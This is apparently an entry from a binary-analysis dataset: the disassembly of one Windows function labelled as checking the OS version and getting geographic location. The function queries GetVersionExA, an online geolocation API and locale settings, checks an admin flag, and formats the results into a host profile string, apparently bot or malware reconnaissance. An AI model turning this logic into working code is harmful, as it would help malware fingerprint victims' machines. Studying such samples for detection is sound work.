Function at 0xbab480
Capabilities:
Check os version
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4b0
push ebx
push esi
push edi
push 0x3ff
xor ebx, ebx
lea eax, [ebp - 0x4af]
push ebx
push eax
mov byte [ebp - 0x4b0], 0
call sub.MSVCRT.dll_memset
xor eax, eax
push str.isadmin
push 0xbb2c10
mov byte [ebp - 0xc], bl
mov dword [ebp - 0xb], eax
mov word [ebp - 7], ax
mov byte [ebp - 5], al
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], ebx
call fcn.00ba73e0
add esp, 0x14
cmp dword [0xbeb98c], ebx
mov dword [ebp - 0x10], eax
jl 0xbab4f7
push 0xbeada0
call fcn.00ba1ba0
xor ecx, ecx
add esp, 4
cmp al, 1
sete cl
lea ecx, [ecx + ecx - 1]
mov dword [0xbeb98c], ecx
cmp dword [0xbeb500], 1
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
jne 0xbab511
push 0xbb2c0c
lea edx, [ebp - 0xc]
push edx
jmp 0xbab51a
push 0xbb1335
lea eax, [ebp - 0xc]
push eax
call edi
mov esi, dword [ebp + 8]
cmp dword [esi + 0x10], ebx
jne 0xbab5f7
mov ecx, dword [0xbea70c]
push 0x104
push 8
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea edx, [ebp - 0xb0]
push edx
mov dword [esi + 0x10], eax
mov dword [ebp - 0xb0], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0xbab5ec
mov eax, dword [ebp - 0xac]
cmp eax, 5
jne 0xbab59a
mov eax, dword [ebp - 0xa8]
cmp eax, ebx
jne 0xbab57e
mov eax, dword [esi + 0x10]
push 0xbb2c08
push eax
jmp 0xbab5f5
cmp eax, 1
jne 0xbab58e
mov ecx, dword [esi + 0x10]
push 0xbb2c04
push ecx
jmp 0xbab5f5
cmp eax, 2
jne 0xbab5e1
push 0xbb2c00
jmp 0xbab5f1
cmp eax, 6
jne 0xbab5e1
mov eax, dword [ebp - 0xa8]
cmp eax, ebx
jne 0xbab5c5
cmp byte [ebp - 0x16], 1
jne 0xbab5ba
mov eax, dword [esi + 0x10]
push 0xbb2bfc
push eax
jmp 0xbab5f5
mov ecx, dword [esi + 0x10]
push 0xbb2bf8
push ecx
jmp 0xbab5f5
cmp eax, 1
jne 0xbab5e1
cmp byte [ebp - 0x16], al
jne 0xbab5d6
push 0xbb2bf4
jmp 0xbab5f1
mov eax, dword [esi + 0x10]
push 0xbb2bf8
push eax
jmp 0xbab5f5
mov ecx, dword [esi + 0x10]
push 0xbb2bf0
push ecx
jmp 0xbab5f5
push 0xbb2bf0
mov edx, dword [esi + 0x10]
push edx
call edi
cmp dword [esi + 0xc], ebx
jne 0xbab71b
mov eax, dword [0xbea70c]
push 0x104
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0xbb1335
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 4]
push edx
push str.http:__api.wipmania.com_
mov dword [esi + 0xc], eax
call fcn.00baaa10
add esp, 0x10
test eax, eax
je 0xbab6e6
mov eax, dword [ebp - 4]
push str._br_
push eax
call sub.MSVCRT.dll_strstr
mov ebx, eax
add esp, 8
test ebx, ebx
je 0xbab6b2
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 7
je 0xbab66a
add ebx, 4
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 2
je 0xbab6a2
push 0x400
lea ecx, [ebp - 0x4b0]
push ecx
push 7
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0xbab695
mov edx, dword [esi + 0xc]
push 0xbb2bf0
push edx
jmp 0xbab719
mov ecx, dword [esi + 0xc]
lea eax, [ebp - 0x4b0]
push eax
push ecx
jmp 0xbab719
push 0xbb2be4
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0xbab6e3
push 0x400
lea edx, [ebp - 0x4b0]
push edx
push 7
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0xbab6d6
push 0xbb2bf0
jmp 0xbab715
mov edx, dword [esi + 0xc]
lea ecx, [ebp - 0x4b0]
push ecx
push edx
jmp 0xbab719
push ebx
jmp 0xbab715
push 0x400
lea eax, [ebp - 0x4b0]
push eax
push 7
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0xbab70e
mov ecx, dword [esi + 0xc]
push 0xbb2bf0
push ecx
jmp 0xbab719
lea edx, [ebp - 0x4b0]
push edx
mov eax, dword [esi + 0xc]
push eax
call edi
lea ecx, [ebp - 0x4b0]
push 7
push ecx
call fcn.00baa2c0
mov eax, dword [esi]
add esp, 8
push 0x104
test eax, eax
jne 0xbab81b
mov edx, dword [0xbea70c]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 8
push edx
call ebx
push 0x104
mov dword [esi], eax
mov eax, dword [0xbea70c]
push 8
push eax
call ebx
push 0x104
mov dword [esi + 8], eax
mov ecx, dword [0xbea70c]
push 8
push ecx
call ebx
push 0x104
mov dword [esi + 4], eax
mov edx, dword [0xbea70c]
push 8
push edx
call ebx
mov ecx, dword [esi + 8]
mov dword [esi + 0x14], eax
lea eax, [ebp - 0x4b0]
push eax
push 0x104
push ecx
call sub.MSVCRT.dll__snprintf
mov eax, dword [esi + 4]
lea edx, [ebp - 0x4b0]
push edx
push 0x104
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x18
cmp dword [ebp - 0x10], 0
je 0xbab7c4
mov ecx, dword [esi + 0x14]
push 0xbb2be0
push ecx
jmp 0xbab7cd
mov edx, dword [esi + 0x14]
push 0xbb2c0c
push edx
call edi
cmp dword [0xbeb98c], 1
mov ecx, dword [esi + 0x14]
mov edx, dword [esi + 0x10]
lea eax, [ebp - 0x4b0]
push eax
mov eax, dword [esi + 0xc]
push ecx
push edx
push eax
jne 0xbab809
mov edx, dword [esi]
lea ecx, [ebp - 0xc]
push ecx
push str.N_s_s_s_s_s
push 0x104
push edx
call sub.MSVCRT.dll__snprintf
add esp, 0x20
jmp 0xbab8e8
mov ecx, dword [esi]
push str._s_s_s_s
push 0x104
push ecx
jmp 0xbab8e0
push 0
push eax
call fcn.00ba35f0
mov edx, dword [esi + 8]
push 0x104
push 0
push edx
call fcn.00ba35f0
mov eax, dword [esi + 4]
push 0x104
push 0
push eax
call fcn.00ba35f0
mov ecx, dword [esi + 0x14]
push 0x104
push 0
push ecx
call fcn.00ba35f0
mov eax, dword [esi + 8]
lea edx, [ebp - 0x4b0]
push edx
push 0x104
push eax
call sub.MSVCRT.dll__snprintf
mov edx, dword [esi + 4]
lea ecx, [ebp - 0x4b0]
push ecx
push 0x104
push edx
call sub.MSVCRT.dll__snprintf
add esp, 0x48
cmp dword [ebp - 0x10], 0
je 0xbab891
mov eax, dword [esi + 0x14]
push 0xbb2be0
push eax
jmp 0xbab89a
mov ecx, dword [esi + 0x14]
push 0xbb2c0c
push ecx
call edi
cmp dword [0xbeb98c], 1
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x10]
lea edx, [ebp - 0x4b0]
push edx
mov edx, dword [esi + 0xc]
push eax
push ecx
push edx
jne 0xbab8d3
mov ecx, dword [esi]
lea eax, [ebp - 0xc]
push eax
push str.N_s_s_s_s_s
push 0x104
push ecx
call sub.MSVCRT.dll__snprintf
add esp, 0x20
jmp 0xbab8e8
mov eax, dword [esi]
push str._s_s_s_s
push 0x104
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x1c
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
test eax, eax
je 0xbab8fb
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov esp, ebp
pop ebp
ret